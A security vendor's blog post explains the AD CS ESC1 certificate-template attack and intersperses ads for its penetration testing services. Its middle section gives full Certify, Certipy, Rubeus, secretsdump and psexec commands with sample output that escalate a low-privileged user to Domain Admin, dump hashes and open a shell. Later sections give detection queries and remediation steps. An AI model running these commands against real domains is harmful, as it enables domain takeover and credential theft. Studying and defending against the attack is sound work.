Active Directory Certificate Services (AD CS) has emerged as one of the most fertile attack surfaces in modern Windows enterprise environments. Since Will Schroeder and Lee Christensen published their landmark research in 2021, certificate-based privilege escalation has become a staple in red team engagements. Among the escalation paths they documented, ESC1 remains the most commonly encountered and the most dangerous when left unmitigated.
If you are responsible for defending a Windows environment or conducting penetration tests against one, understanding ESC1 from both sides of the equation is non-negotiable. This post walks through the full attack chain: discovery, exploitation, and the defensive posture organizations need to adopt.
If your organization needs a professional assessment of its AD CS configuration, Redfox Cybersecurity's penetration testing services are built to surface exactly these kinds of critical misconfigurations before threat actors do.
Active Directory Certificate Services is Microsoft's public key infrastructure (PKI) implementation that issues digital certificates for authentication, encryption, and code signing. It integrates deeply with Kerberos and Windows authentication, which is precisely what makes it dangerous when misconfigured.
When a user or machine authenticates using a certificate, they are granted a Kerberos Ticket Granting Ticket (TGT) tied to the account bound to that certificate. If an attacker can request a certificate that is bound to a privileged account such as a Domain Administrator, they effectively hold the keys to the kingdom.
AD CS vulnerabilities are particularly insidious because most security teams focus their monitoring on Kerberos traffic and NTLM authentication while leaving certificate infrastructure almost entirely unaudited.
ESC1 is triggered by a combination of specific settings on a certificate template that, together, allow any low-privileged domain user to request a certificate on behalf of any other account in the domain, including Domain Admins.
The conditions that must all be present for ESC1 to be exploitable are:
When all four conditions align, a standard domain user can request a certificate asserting they are the Domain Administrator, and the Certificate Authority will issue that certificate without question.
The first step in any AD CS-focused assessment is enumerating the environment. Certify, developed by SpecterOps, is the go-to tool for this phase.
Certify.exe cas
[cta]
This command lists all Certificate Authorities in the domain along with their configurations. Follow it up with:
Certify.exe find /vulnerable
[cta]
This scans all certificate templates and flags those meeting ESC1 criteria. Pay attention to the output fields:
[!] Vulnerable Certificates Templates :
CA Name : corp-CA\DC01
Template Name : VulnUserTemplate
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
msPKI-Enrollment-Flag : NONE
Authorized Signatures Required : 0
pkiextendedkeyusage : Client Authentication
Permissions
Enrollment Permissions
Enrollment Rights : CORP\Domain Users
The ENROLLEE_SUPPLIES_SUBJECT flag on msPKI-Certificates-Name-Flag combined with Client Authentication EKU and Domain Users enrollment rights confirms an ESC1-vulnerable template.
You can also perform this enumeration using the Python-based Certipy tool, which is particularly useful when operating from a Linux attack host:
certipy find -u lowprivuser@corp.local -p 'Password123' -dc-ip 192.168.1.10 -vulnerable
[cta]
Certipy outputs a JSON and a text file summarizing all vulnerable templates, their configurations, and the CAs serving them.
This is the kind of exposure that Redfox Cybersecurity's red team engagements routinely uncover during Active Directory assessments. Organizations are often shocked to find these misconfigurations sitting undetected for years.
Once a vulnerable template is identified, the next step is requesting a certificate with a spoofed SAN pointing to a privileged account.
Using Certify on a domain-joined Windows machine:
Certify.exe request /ca:corp-CA\DC01 /template:VulnUserTemplate /altname:administrator
If the request is successful, the output will contain a certificate and private key in PEM format:
[*] Action: Request a Certificates
[*] Current user context : CORP\lowprivuser
[*] No subject name specified, using current context as subject.
[*] Template : VulnUserTemplate
[*] Subject : CN=lowprivuser, CN=Users, DC=corp, DC=local
[*] AltName : administrator
[*] Certificate Authority : corp-CA\DC01
[+] Certificate successfully requested
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Convert the PEM output to a PFX file that Windows can import:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
[cta]
When prompted for a password, you can leave it empty or set one. Note the password you use as it will be needed in the next step.
Using Certipy from Linux, the same request is even more streamlined:
certipy req -u lowprivuser@corp.local -p 'Password123' -ca corp-CA -template VulnUserTemplate -upn administrator@corp.local -dc-ip 192.168.1.10
[cta]
Certipy will output a .pfx file directly, ready for the authentication phase.
With the fraudulent certificate in hand, the attacker uses it to authenticate as the Domain Administrator via PKINIT (Public Key Cryptography for Initial Authentication in Kerberos).
Using Rubeus on Windows:
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:certpassword /domain:corp.local /dc:192.168.1.10 /ptt
[cta]
Breaking down the flags:
/user:administrator specifies the account whose TGT is being requested/certificate:cert.pfx provides the fraudulent certificate/ptt passes the ticket directly into the current logon session (Pass-The-Ticket)A successful output looks like:
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=lowprivuser...
[*] Building AS-REQ (w/ PKINIT preauth) for: 'corp.local\administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFpDCCBaCgAwIBBaEDAgEWooIEuD...
[+] Ticket successfully imported!
ServiceName : krbtgt/corp.local
UserName : administrator
UserRealm : CORP.LOCAL
StartTime : [timestamp]
EndTime : [timestamp]
RenewTill : [timestamp]
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64EncodedTicket : ...
The attacker now holds a valid Kerberos TGT for the Domain Administrator. From here, they can access any resource in the domain.
From Linux using Certipy and then impacket:
certipy auth -pfx administrator.pfx -domain corp.local -username administrator -dc-ip 192.168.1.10
[cta]
Certipy will retrieve the NT hash for the administrator account via PKINIT, which can then be used with pass-the-hash techniques across the impacket toolkit:
secretsdump.py -hashes :NThashhere administrator@192.168.1.10
[cta]
Or for a direct shell:
psexec.py -hashes :NThashhere administrator@192.168.1.10
[cta]
At this point, the attacker has achieved full Domain Admin access starting from a single low-privileged domain account, with no vulnerability in the operating system, no exploit code, and no brute force. The entire attack leverages a misconfigured certificate template.
This attack chain is exactly why regular AD CS auditing should be a core component of your security program. Redfox Cybersecurity offers comprehensive Active Directory penetration testing that covers the full ESC1 through ESC8 spectrum and beyond.
Detection for AD CS attacks requires instrumenting a part of the environment that many organizations have never monitored before. The following detection strategies cover the most actionable telemetry sources.
Enable auditing on your CA server and monitor for:
Event ID 4886 (Certificate Services received a certificate request): This fires for every certificate request. Baseline normal volume and alert on spikes.
Event ID 4887 (Certificate Services approved a certificate request and issued a certificate): Pair this with 4886. Look for certificates issued from templates with the ENROLLEE_SUPPLIES_SUBJECT flag where the Subject Alternative Name differs from the requesting account's UPN.
Event ID 4768 (Kerberos TGT request): Filter for TGT requests using certificate-based pre-authentication (PreAuthType 16). If the account in the ticket does not match the account associated with the certificate request, that is a high-fidelity alert.
For Splunk environments, a basic detection for certificate requests with SAN mismatch:
index=wineventlog EventCode=4887
| rex field=_raw "(?i)Subject:\s+(?P<subject>[^\n]+)"
| rex field=_raw "(?i)Subject Alternative Name:\s+(?P<san>[^\n]+)"
| where subject != san
| table _time, ComputerName, subject, san, TemplateName
For Microsoft Sentinel:
SecurityEvent
| where EventID == 4887
| extend RequestedAttributes = parse_xml(EventData)
| where RequestedAttributes contains "SubjectAltName"
| project TimeGenerated, Computer, Account, TemplateName = tostring(RequestedAttributes.TemplateName)
Fixing ESC1 is straightforward once the vulnerable template is identified. The remediation steps in order of priority are:
Remove the ENROLLEE_SUPPLIES_SUBJECT flag. In the certificate template properties, go to the Subject Name tab and uncheck "Supply in the request." Switch to "Build from this Active Directory information." This is the primary fix.
Restrict enrollment rights. Remove broad groups like Domain Users and Authenticated Users from the enrollment ACL. Only grant enrollment rights to specific security groups that genuinely need the template.
Enable manager approval. For any template that cannot immediately have the SAN flag removed, enable the CA certificate manager approval requirement as a temporary compensating control. This adds a human review step before certificates are issued.
Enable CT Logging. Certificate Transparency logging creates an auditable record of every issued certificate and makes it significantly harder to conduct undetected certificate-based attacks.
Run Certify or Certipy in audit mode regularly. Treat AD CS enumeration as part of your regular configuration management process, not just a one-time assessment.
If your team lacks the expertise or bandwidth to assess and remediate your AD CS configuration, Redfox Cybersecurity's penetration testing and advisory services can handle the full engagement from discovery through remediation validation.
It is worth addressing why ESC1 remains prevalent years after public disclosure. The answer lies in how certificate templates are created and maintained.
Many organizations inherit AD CS configurations from legacy deployments or from Microsoft's own default templates designed for older enrollment scenarios. The ENROLLEE_SUPPLIES_SUBJECT flag was historically used for web server certificate enrollment workflows where the requesting server needed to specify its own FQDN. Security teams that never received formal AD CS training often have no visibility into what that flag actually permits.
Beyond legacy configurations, the problem is compounded by the fact that AD CS is not prominently featured in most security training programs, vendor hardening guides, or CIS benchmarks. Defenders who are well-versed in Kerberoasting and Pass-the-Hash often have zero exposure to certificate-based attack paths.
This knowledge gap is a core reason why threat actors and advanced persistent threat groups have moved aggressively toward AD CS exploitation. The attack surface is large, largely unmonitored, and trivially exploitable with publicly available tools.
ESC1 represents one of the clearest examples of how a default or legacy configuration can translate directly into a complete domain compromise. The attack requires no exploitation of software vulnerabilities, no zero-days, and no sophisticated tooling. It is entirely built on legitimate protocol behavior used in an unintended way.
The good news is that remediation is equally straightforward once the vulnerability is identified. The challenge is getting organizations to look at their AD CS infrastructure in the first place.
If you have not audited your certificate templates recently, or if you have never done so, assume that ESC1-class misconfigurations may be present. Run Certify or Certipy in a read-only enumeration mode against your environment and review the output carefully.
For organizations that want a thorough, professional assessment covering AD CS alongside the full Active Directory attack surface, Kerberos delegation abuses, ACL misconfigurations, and beyond, Redfox Cybersecurity's penetration testing services deliver the depth and rigor that modern enterprise environments require. Reach out to the Redfox Cybersecurity team to discuss scoping an engagement tailored to your environment.
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
.avif)
